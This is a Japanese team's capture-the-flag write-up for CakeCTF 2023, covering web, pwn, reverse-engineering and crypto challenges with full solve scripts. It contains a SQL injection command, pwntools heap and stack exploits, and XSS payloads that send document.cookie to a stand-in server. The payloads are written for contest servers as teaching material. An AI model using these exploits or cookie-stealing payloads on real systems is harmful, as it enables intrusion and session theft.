チームsuperflipです。
14問、1604点、19位。
Welcome (welcome)
Discord。
CakeCTF{hav3_s0m3_cak3_t0_r3fr3sh_y0ur_pa1at3}
Country DB (web, warmup)
2文字のコードから国名を検索。スコアサーバーの実装で必要になったのかもしれない。
:
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
:
SQLインジェクション。
:
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
:
このチェックを回避する必要がある。
coode = [") union select flag from flag -- "]
という配列を送ると、 len(code)
は1だし、 '
は含まれない。
f"SELECT name FROM country WHERE code=UPPER('{code}')"
は
SELECT name FROM country WHERE code=UPPER('[') union select flag from flag -- ']')
になる。
$ curl -H 'Content-Type: application/json' -d '{"code":[") union select flag from flag -- ","x"]}' http://countrydb.2023.cakectf.com:8020/api/search
{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
vtable4b (pwn, warmup)
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:
class Cowsay {
public:
Cowsay(char *message) : message_(message) {}
char*& message() { return message_; }
virtual void dialogue();
private:
char *message_;
};
An instance of this class is allocated in the heap:
Cowsay *cowsay = new Cowsay(new char[0x18]());
You can
1. Call `dialogue` method:
cowsay->dialogue();
2. Set `message`:
std::cin >> cowsay->message();
Last but not least, here is the address of `win` function which you should call to get the flag:
<win> = 0x55664b8b061a
1. Use cowsay
2. Change message
3. Display heap
> 1
[+] You're trying to use vtable at 0x55664b8b3ce8
_______________________
< >
-----------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
1. Use cowsay
2. Change message
3. Display heap
> 2
Message: hoge
1. Use cowsay
2. Change message
3. Display heap
> 1
[+] You're trying to use vtable at 0x55664b8b3ce8
_______________________
< hoge >
-----------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
1. Use cowsay
2. Change message
3. Display heap
> 3
[ address ] [ heap data ]
+------------------+
0x55664bc61ea0 | 0000000000000000 |
+------------------+
0x55664bc61ea8 | 0000000000000021 |
+------------------+
0x55664bc61eb0 | 0000000065676f68 | <-- message (= 'hoge')
+------------------+
0x55664bc61eb8 | 0000000000000000 |
+------------------+
0x55664bc61ec0 | 0000000000000000 |
+------------------+
0x55664bc61ec8 | 0000000000000021 |
+------------------+
0x55664bc61ed0 | 000055664b8b3ce8 | ---------------> vtable for Cowsay
+------------------+ +------------------+
0x55664bc61ed8 | 000055664bc61eb0 | 0x55664b8b3ce8 | 000055664b8b06e2 |
+------------------+ +------------------+
0x55664bc61ee0 | 0000000000000000 | --> Cowsay::dialogue
+------------------+
0x55664bc61ee8 | 000000000000f121 |
+------------------+
この手の入門用のpwn問題、作りが丁寧ですごい。このままコードを書かずに解ければ良いのだが、非印字文字が入力できない。何か方法は無いのだろうか。
vtableを指すポインタを適当に書き換えて、書き換えた先に win
のアドレスを書いておけば良い。
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
s = remote("vtable4b.2023.cakectf.com", 9000)
s.recvuntil(b"<win> = 0x")
win = int(s.recvline()[:-1].decode(), 16)
print(f"win: {win:08x}")
s.sendlineafter(b"\n> ", b"3")
s.recvuntil(b" +------------------+\n0x")
heap = int(s.recvline().decode().split()[0], 16)
print(f"heap: {heap:08x}")
s.sendlineafter(b"\n> ", b"2")
s.sendlineafter(b"Message: ", (
pack(win) +
b"x"*0x18 +
pack(heap+0x10)
))
s.sendlineafter(b"\n> ", b"3")
print(s.recvuntil(b"\n> ").decode())
s.interactive()
$ python3 attack.py
[+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done
win: 558711ae261a
heap: 558712722ea0
[ address ] [ heap data ]
+------------------+
0x558712722ea0 | 0000000000000000 |
+------------------+
0x558712722ea8 | 0000000000000021 |
+------------------+
0x558712722eb0 | 0000558711ae261a |
+------------------+
0x558712722eb8 | 7878787878787878 |
+------------------+
0x558712722ec0 | 7878787878787878 |
+------------------+
0x558712722ec8 | 7878787878787878 |
+------------------+
0x558712722ed0 | 0000558712722eb0 | ---------------> vtable for Cowsay (corrupted)
+------------------+ +------------------+
0x558712722ed8 | 0000558712722e00 | 0x558712722eb0 | 0000558711ae261a |
+------------------+ +------------------+
0x558712722ee0 | 0000000000000000 | --> <win> function
+------------------+
0x558712722ee8 | 000000000000f121 |
+------------------+
1. Use cowsay
2. Change message
3. Display heap
>
[*] Switching to interactive mode
$ 1
[+] You're trying to use vtable at 0x558712722eb0
[+] Congratulations! Executing shell...
$ $ ls -al /
total 68
:
drwxrwxrwt 2 nobody nogroup 100 Nov 9 14:46 dev
drwxr-xr-x 32 nobody nogroup 4096 Sep 16 02:07 etc
-rw-rw-r-- 1 nobody nogroup 54 Nov 9 14:01 flag-806cb9c9719379667ca5616d9c8210f1.txt
drwxr-xr-x 2 nobody nogroup 4096 Apr 18 2022 home
lrwxrwxrwx 1 nobody nogroup 7 Sep 16 02:03 lib -> usr/lib
:
$ cat /flag-806cb9c9719379667ca5616d9c8210f1.txt
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
Survery (survey)
アンケート。
CakeCTF{thank_y0u_4_tasting_0ur_n3w_cak3s_this_y3ar}
TOWFL (cheat, web)
オオカミ語で問題が書かれているらしい。
/api/start → /api/submit → /api/score という順番でAPIを叩く。/api/start で問題が生成され、/api/score を叩いたときに正解数が得られると同時にセッションがクリアされる。しかし、この問題ではセッションのデータはcookieに保存されており、セッションのクリアというのはcookieを消すだけ。Cookieを保存しておけば何度でも回答できる。
import requests
import json
s = requests.Session()
base = "http://towfl.2023.cakectf.com:8888"
answer = [[None]*10 for _ in range(10)]
s.post(base+"/api/start")
for i in range(100):
print(i)
for j in range(4):
answer[i//10][i%10] = j
s.post(base+"/api/submit", json=answer)
c = s.cookies["session"]
r = s.get(base+"/api/score")
s.cookies["session"] = c
if r.json()["data"]["score"]==i+1:
break
else:
print("error")
s.post(base+"/api/submit", json=answer)
r = s.get(base+"/api/score")
print(r.json())
$ python3 attack.py
0
1
2
:
97
98
99
{'data': {'flag': '"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}"', 'score': 100}, 'status': 'ok'}
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}
nande (warmup, rev)
What makes NAND gates popular?
Windowsの実行可能ファイル。とはいえ、Ghidraで開くだけだから、見る必要の無い関数がちょっと多いくらいで、やることはLinuxと特に変わらない。
MODULE
関数はこれ。XOR。
このXORを使った処理も素直に逆算できる。
d = open("nand.exe", "rb").read()
X = list(d[0x1c600:0x1c700])
for _ in range(0x1234):
X[0xff] = 1-X[0xff]
for i in range(0xff)[::-1]:
X[i] ^= X[i+1]
flag = ""
for i in range(0, 0x100, 8):
flag += chr(int("".join(map(str, X[i:i+8]))[::-1], 2))
print(flag)
$ python3 solve.py
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
simple signature (crypto, warmup)
ElGamal署名っぽいことをしている。
:
p = getStrongPrime(512)
g = 2
def keygen():
while True:
x = getRandomRange(2, p-1)
y = getRandomRange(2, p-1)
w = getRandomRange(2, p-1)
v = w * y % (p-1)
if GCD(v, p-1) != 1:
continue
u = (w * x - 1) * inverse(v, p-1) % (p-1)
return (x, y, u), (w, v)
def sign(m, key):
x, y, u = key
r = getRandomRange(2, p-1)
return pow(g, x*m + r*y, p), pow(g, u*m + r, p)
def verify(m, sig, key):
w, v = key
s, t = sig
return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p
:
え、めっちゃ難しくない? warmupとは……? と思ったけど、落ち着いて見たら簡単だったわ。
g^m = s^w t^{-v} \mod p
が成り立つような署名 $s$ と $t$ を送れば良い。 $s=g^{s'}$ 、 $t=g^{t'}$ とすると、
m = s'w-t'v \mod p-1
となる。 $t'$ を適当に決めれば、 $s'$ は普通に計算できる。
$ nc crypto.2023.cakectf.com 10444
p = 10723766212416883656239753629003140332705695888835664117648775405215041774585840406449306249390580369436219199748400788746766549840267344972641435903575763
g = 2
vkey = (8251240646225218234166528522253633166865235682510221061351164858013792407797811302805407440117737882538309904234171817860150843442676717136904059153859755, 1913981790995765330584107009450870459800276183012444272667099501712229577808962618537889238474696189230752943828115254414078475948765418479780772476169923)
p = 10723766212416883656239753629003140332705695888835664117648775405215041774585840406449306249390580369436219199748400788746766549840267344972641435903575763
g = 2
vkey = (8251240646225218234166528522253633166865235682510221061351164858013792407797811302805407440117737882538309904234171817860150843442676717136904059153859755, 1913981790995765330584107009450870459800276183012444272667099501712229577808962618537889238474696189230752943828115254414078475948765418479780772476169923)
from hashlib import sha512
w, v = vkey
m = int(sha512("cake_does_not_eat_cat".encode()).hexdigest(), 16)
t = 1
s = (m+t*v)*pow(w, -1, p-1)%(p-1)
print(f"s: {pow(g, s, p)}")
print(f"t: {pow(g, t, p)}")
$ python3 solve.py
s: 5822566567599794165828409134729801123319497185796340149394148413649744091906319869111333492033164750077181094412147136926830041781376434741145497197561391
t: 2
[S]ign, [V]erify: V
message: cake_does_not_eat_cat
s: 5822566567599794165828409134729801123319497185796340149394148413649744091906319869111333492033164750077181094412147136926830041781376434741145497197561391
t: 2
verified
flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}
flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}
bofww (pwn)
#include <iostream>
void win() {
std::system("/bin/sh");
}
void input_person(int& age, std::string& name) {
int _age;
char _name[0x100];
std::cout << "What is your first name? ";
std::cin >> _name;
std::cout << "How old are you? ";
std::cin >> _age;
name = _name;
age = _age;
}
int main() {
int age;
std::string name;
input_person(age, name);
std::cout << "Information:" << std::endl
<< "Age: " << age << std::endl
<< "Name: " << name << std::endl;
return 0;
}
__attribute__((constructor))
void setup(void) {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
}
脆弱性はここ。
char _name[0x100];
std::cout << "What is your first name? ";
std::cin >> _name;
これ、やっていることは gets(_name)
なのに、コンパイラは警告も出さない。
スタックカナリアが有効だから、素直にリターンアドレスを書き換えることはできない。 main
の name
の中身を書き換え、 name = _name
でGOTの __stack_chk_fail
を win
に書き換えさせれば良い。
from pwn import *
context.arch = "amd64"
s = remote("bofww.2023.cakectf.com", 9002)
s.sendlineafter(
b"What is your first name? ",
pack(0x4012f6) + # win
b"x"*0x128 +
pack(0x404050) + # _M_p = __stack_chk_fail@got
pack(0) + # _M_string_length
pack(0x10) # _M_allocated_capacity
)
s.sendlineafter(b"How old are you? ", b"1234")
s.interactive()
$ python3 attack.py
[+] Opening connection to bofww.2023.cakectf.com on port 9002: Done
[*] Switching to interactive mode
$ cat /flag-*
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
Cake Puzzle (rev)
解析すると、この15パズルを解けば良いことが分かる。
4 5 1 9
11 14 12 8
10 3 6
2 7 15 13
空きマスは0として(というか実装が0になっている)、左上に持っていく。空きマスを上下左右に動かすのが、それぞれ U
, D
, L
, R
。
解くプログラムを書くより、自分で解いたほうが早い。
行と列を交互に埋めていくのが良いらしい。
RRRDLLUURDDLURDLUURDRULLLDDRURULLDDRURURDLLUURRDLDLLURRDLURDLUURRDLDLURULDRULLDDRURULLDDRUURDLULDRRULL
$ nc others.2023.cakectf.com 14001
> R
R
R
D
:
U
L
L>
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}
CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}
Memorial Cabbage (pwn)
:
#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
static char *tempdir;
void setup() {
char template[] = TEMPDIR_TEMPLATE;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
if (!(tempdir = mkdtemp(template))) {
perror("mkdtemp");
exit(1);
}
if (chdir(tempdir) != 0) {
perror("chdir");
exit(1);
}
}
void memo_r() {
FILE *fp;
char path[0x20];
char buf[0x1000];
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "r")))
return;
fgets(buf, sizeof(buf) - 1, fp);
fclose(fp);
printf("Memo: %s", buf);
}
void memo_w() {
FILE *fp;
char path[0x20];
char buf[0x1000];
printf("Memo: ");
if (!fgets(buf, sizeof(buf)-1, stdin))
exit(1);
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "w")))
return;
fwrite(buf, 1, strlen(buf), fp);
fclose(fp);
}
:
ぱっと見、脆弱性なんて無いように見える。分からないまま適当に長い文字列を打ち込んでいたら、 /tmp/cabbage.XXXXXX/ に打ち込んだ内容のファイル名のファイルができていた。
template は変更されるので、文字列定数にしてはならず、文字配列にすべきである。
なるほど、書き換えた文字列を別に確保して返すのではなく、引数の文字列を書き換えて返すのか。そりゃそうか。
上手いこと書き換えて、 "/flag.txt\0"
にすれば良い。最後にNUL文字が必要なことに注意。/flag.txt を書き換えようとしてしまうが、権限的に書き換えられないので問題はない。
from pwn import *
s = remote("memorialcabbage.2023.cakectf.com", 9001)
s.sendlineafter(b"> ", b"1")
s.sendlineafter(b"Memo: ", b"x"*0xff0+b"/flag.txt\0")
s.sendlineafter(b"> ", b"2")
print(s.recvline().decode())
$ python3 attack.py
[+] Opening connection to memorialcabbage.2023.cakectf.com on port 9001: Done
Memo: CakeCTF{B3_c4r3fuL_s0m3_libc_fuNcT10n5_r3TuRn_5t4ck_p01nT3r}
[*] Closed connection to memorialcabbage.2023.cakectf.com port 9001
CakeCTF{B3_c4r3fuL_s0m3_libc_fuNcT10n5_r3TuRn_5t4ck_p01nT3r}
janken vs yoshiking 2 (crypto)
ジャンケンで100勝すればクリア。
有限体上で行列 $M$ を作り、3で割った余りが出す手と等しいような整数を $r$ として、 $M^r$ を提示してくる。こちらが出す手を決めると、勝敗とともに $r$ を教えてくれる。 $r$ から $M^r$ が計算できるので、こちらが出す手を決めた後でサーバーが手を決めるというズルはしていないことが証明できる。 $M^r$ から $r$ を計算することは難しいから、サーバーが手を決めた後にこちらが手を決めるというズルもできない……という主張である。
まあ、 $M^r$ から $r$ を求めるのだろう。
法 $p$ はプログラムの起動のたびに生成しているのではなく、プログラムに埋め込まれている。何か特殊な素数なのかな? と $p-1$ を素因数分解をしてみるとこうなる。
sage: p = 17196201054584064334833405683175430195845756358957425604387711050583216552385626130839796514795557880099945578
....: 22024565226932906295208262756822275663694111
sage: factor(p-1)
2 * 3 * 5 * 7 * 11 * 13 * 17 * 19 * 23 * 29 * 31 * 37 * 41 * 43 * 47 * 53 * 59 * 61 * 67 * 71 * 73 * 79 * 83 * 89 * 97 * 101 * 103 * 107 * 109 * 113 * 127 * 131 * 137 * 139 * 149 * 151 * 157 * 163 * 167 * 173 * 179 * 181 * 191 * 193 * 197 * 199 * 211 * 223 * 227 * 229 * 233 * 239 * 241 * 251 * 257 * 263 * 269 * 271 * 277 * 281 * 283 * 293 * 307 * 311 * 313 * 317 * 331 * 337 * 347 * 349 * 353 * 359 * 367 * 373 * 379
これは中国剰余定理。 $r \mod 2$, $r \mod 3$, $r \mod 5$, …を求めて……いや、$r \mod 3$ が分かれば充分か。
行列 $M$ の行列式を $\mathrm{det}(M)$とすると、 $\mathrm{det}\left(M^n\right) = \mathrm{det}(M)^n$ が成り立つので、行列式で3通りの総当たりをすれば良い。
from pwn import *
s = remote("crypto.2023.cakectf.com", int(10555))
s.recvuntil(b"Here is p: ")
p = int(s.recvuntil(b",")[:-1].decode())
#print(f"{p=}")
s.recvuntil(b"M: ")
M = eval(s.recvuntil(b"]").decode())
M = matrix(GF(p), 5, 5, M)
#print(f"{M=}")
for i in range(100):
print(i)
s.recvuntil(b"my commitment is=")
C = eval(s.recvuntil(b"]").decode())
C = matrix(GF(p), 5, 5, C)
for j in range(3):
if (M^((p-1)//3*j)).determinant()==(C^((p-1)//3)).determinant():
break
else:
print("error")
exit(0)
s.sendlineafter(b"your hand(1-3): ", f"{(j-1)%3+1}".encode())
print(s.recvall().decode())
SageMathは今までDockerで動かしていた。WSL上にインストールしたから、pwntoolsも使える……と思ったけど、なんかimportに失敗する。なので、コンパイルされた.pyファイルを実行している。
Traceback (most recent call last):
File "/mnt/d/documents/ctf/cakectf2023/janken vs yoshiking 2/solve.sage.py", line 7, in <module>
from pwn import *
ModuleNotFoundError: No module named 'pwn'
[+] Opening connection to crypto.2023.cakectf.com on port 10555: Done
0
1
2
:
98
99
[+] Receiving all data: Done (263B)
[*] Closed connection to crypto.2023.cakectf.com port 10555
[yoshiking]: My hand is ... Paper
[yoshiking]: Your hand is ... Scissors
[yoshiking]: Yo! You win!!! Ho!
[system]: wins: 100
[yoshiking]: Wow! You are the king of roshambo!
[yoshiking]: suge- flag ageru
CakeCTF{though_yoshiking_may_die_janken_will_never_perish}
CakeCTF{though_yoshiking_may_die_janken_will_never_perish}
AdBlog (web)
広告ブロッカーを検知するウェブサイト。HTMLが書けるけれど、DOMPurifyでサニタイズされる。
:
<script>
let content = DOMPurify.sanitize(atob("{{ content }}"));
document.getElementById("content").innerHTML = content;
window.onload = async () => {
if (await detectAdBlock()) {
showOverlay = () => {
document.getElementById("ad-overlay").style.width = "100%";
};
}
if (typeof showOverlay === 'undefined') {
document.getElementById("ad").style.display = "block";
} else {
setTimeout(showOverlay, 1000);
}
}
</script>
:
あまり知られていない気もするが、 <div id="hoge">
は、 documente.getElementById("hoge")
としなくても、単に hoge
で参照できる。ちょっとしたHTMLとJavaScriptを書くときに便利。
<div id="showOverlay">
を書けば、 setTimeout(showOverlay, 1000)
が実行される。しかし、これを文字列化したところで "[object HTMLDivElement]"
なので役に立たない。
MDNを漁って、 <a>
タグだと href
属性の値になることが分かった。
でも、 <a id="showOverlay" href="alert(0)">
が "http://adblog.2023.cakectf.com:8001/blog/alert(0)"
になってしまう。JavaScriptのコードとしては、ラベル http
とその後に続くコメントと解釈される。改行を入れられれば良いが、どこかで消されてしまう。変なスキーマーはDOMPurifyが消す。U+2028とかどうだろうと思ったが、なんか化ける。
理由は分からないものの、
<a id=showOverlay href="https://あ/#
location.href='http://myserver.example.com:8888/?'+document.cookie">a</a>
でいけた。 あ
も重要で、なぜかこれが文字化けして、そうすると改行が消えない? 謎。
CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}
imgchk (rev)
Ghidraで見ると check_flag
が空。
:
00000000000043c9 <check_flag>:
43c9: f3 0f 1e fa endbr64
43cd: 55 push rbp
43ce: 48 89 e5 mov rbp,rsp
43d1: 53 push rbx
43d2: 48 81 ec 88 00 00 00 sub rsp,0x88
43d9: 48 89 bd 78 ff ff ff mov QWORD PTR [rbp-0x88],rdi
43e0: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
43e7: 00 00
43e9: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax
43ed: 31 c0 xor eax,eax
43ef: 48 8d 05 02 00 00 00 lea rax,[rip+0x2] # 43f8 <Cake16>
43f6: 50 push rax
43f7: c3 ret
00000000000043f8 <Cake16>:
43f8: 48 8b 85 78 ff ff ff mov rax,QWORD PTR [rbp-0x88]
43ff: 48 8d 15 4c 13 00 00 lea rdx,[rip+0x134c] # 5752 <_IO_stdin_used+0x752>
4406: 48 89 d6 mov rsi,rdx
4409: 48 89 c7 mov rdi,rax
440c: e8 3f fe ff ff call 4250 <fopen@plt>
4411: 48 89 45 a8 mov QWORD PTR [rbp-0x58],rax
4415: 48 83 7d a8 00 cmp QWORD PTR [rbp-0x58],0x0
441a: 0f 84 07 04 00 00 je 4827 <Cake290+0x2>
4420: 48 8d 05 02 00 00 00 lea rax,[rip+0x2] # 4429 <Cake26>
4427: 50 push rax
4428: c3 ret
:
48 8d 05 02 00 00 00 50 c3
を 90 90 90 90 90 90 90 90 90
に置換すると逆コンパイルできるようになる。
フラグの画像に対し、1列ごとにMD5を計算している。
最初は雑にMD5っぽいバイト列が並んでいるところを順番に読んでいたのだけど、壊れた画像が出てくる。同じMD5ハッシュ値はまとめられいた。ちゃんと元から読まないとダメ。
import hashlib
from PIL import Image
imgchk = open("imgchk/imgchk", "rb").read()
img = Image.new("RGB", (0x1e0, 0x14))
for x in range(0, 0x1e0):
hash_addr = int.from_bytes(imgchk[0x6020+x*8:0x6020+x*8+8], "little")
hash = imgchk[hash_addr:hash_addr+16]
for b in range(1<<0x14):
if hashlib.md5(b.to_bytes(3, "little")).digest()==hash:
print(bin(b))
for y in range(0x14):
if b>>y&1:
img.putpixel((x, y), (255, 255, 255))
break
else:
print("error")
img.save("flag.png")
$ python3 solve.py
0b11111111111111111111
0b11111111111111111111
0b11111111111111111111
0b11111111111111111111
0b11111111111111111111
0b11111111111111111111
0b11111111111111111111
0b11111110000000111111
0b11111000000000001111
0b11111001111111001111
:
CakeCTF{fd408e00d5824d7220c4d624f894144e}
bofwow (pwn, lunatic)
解けなかった。
buffer overflow without win function
あ、bofwwのフラグの CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
は「全問解いて暇な人は挑戦してみてね」という意味だと思っていたけど、問題になっていた。
分からん。まずはlibcのアドレスのリークで、 std::string
のメンバー変数を書き換えれば任意のアドレスが読めそうだが、スタック破壊のチェックがあって name
を読むところまでいかないしな……。
OpenBio 2 (web)
HTMLが書けるけれど、bleachでサニタイズされる。
ここが怪しい。
:
<div id="bio">{{ bio1 | safe }}{{ bio2 | safe }}</div>
:
普通は次のようにするだろう。
<div id="bio1">{{ bio1 | safe }}</div>
<div id="bio2">{{ bio2 | safe }}</div>
:
@app.route('/', methods=['GET', 'POST'])
def index():
if flask.request.method == 'GET':
return flask.render_template("index.html")
:
elif len(bio1) > 1001 or len(bio2) > 1001:
err = "Bio is too long"
:
@app.route('/bio/<bio_id>')
def bio(bio_id):
:
bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]
return flask.render_template("bio.html",
name=name, email=email, bio1=bio1, bio2=bio2)
:
bio1
を bleach.linkify
によって10倍ちょっとに膨らませ、 [:10000]
にHTMLタグの途中で切らせれば良い。ここまではすぐに分かった。ここからが難しい。
a.jp
が <a href="http://a.jp" rel="nofollow">a.jp</a>
。5バイトが46バイト。ちょっと足りない。bleachがTLDとみなす文字列に1文字のものは無い。
a.jp
の後の空白はURLを区切るために必要。これをエスケープされるような記号にすれば良いことに気が付いた。
a.jp&
が <a href="http://a.jp" rel="nofollow">a.jp</a>&
。5バイトが50バイト。ピッタリ足りない……。いや、 len(bio1) > 1001
を良く見たら、1,000文字ではなく1,001文字書けた。
別の実体参照で調整する。
<<a.jp&a.jp&a.jp ... a.jp&a.jp
で
... &<a href="http://a.jp" rel="nofollow">a.jp<
となる。
あとは、 bio2
に
img src="x" onerror="location.href=atob('aHR0cDovL215c2VydmVyLmV4YW1wbGUuY29tLz8=')+document.cookie"
を書けばOK。 atob
はURLをそのまま書いてリンクに変換されるのを防ぐため。
CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}
ding-dong-ting-ping (crypto)
解けなかった。
AES-CBCで、前の暗号ブロックとのxorを取るのではく、前の暗号ブロックのMD5ハッシュ値とのxorを取っている。復号結果を教えてくれるので何とでもなると思ったが、復号結果(の返ってくる部分)がUTF-8として正しいバイト列でないといけない。
パディングオラクルアタックをしようにも、 upad
の実装が雑で、最後の1バイト以外を見ていない。
:
def unpad(data: bytes):
return data[:-data[-1]]
逆に削られたバイト数で情報が得られるが、最後の1バイトの情報だけだしな……で時間切れ。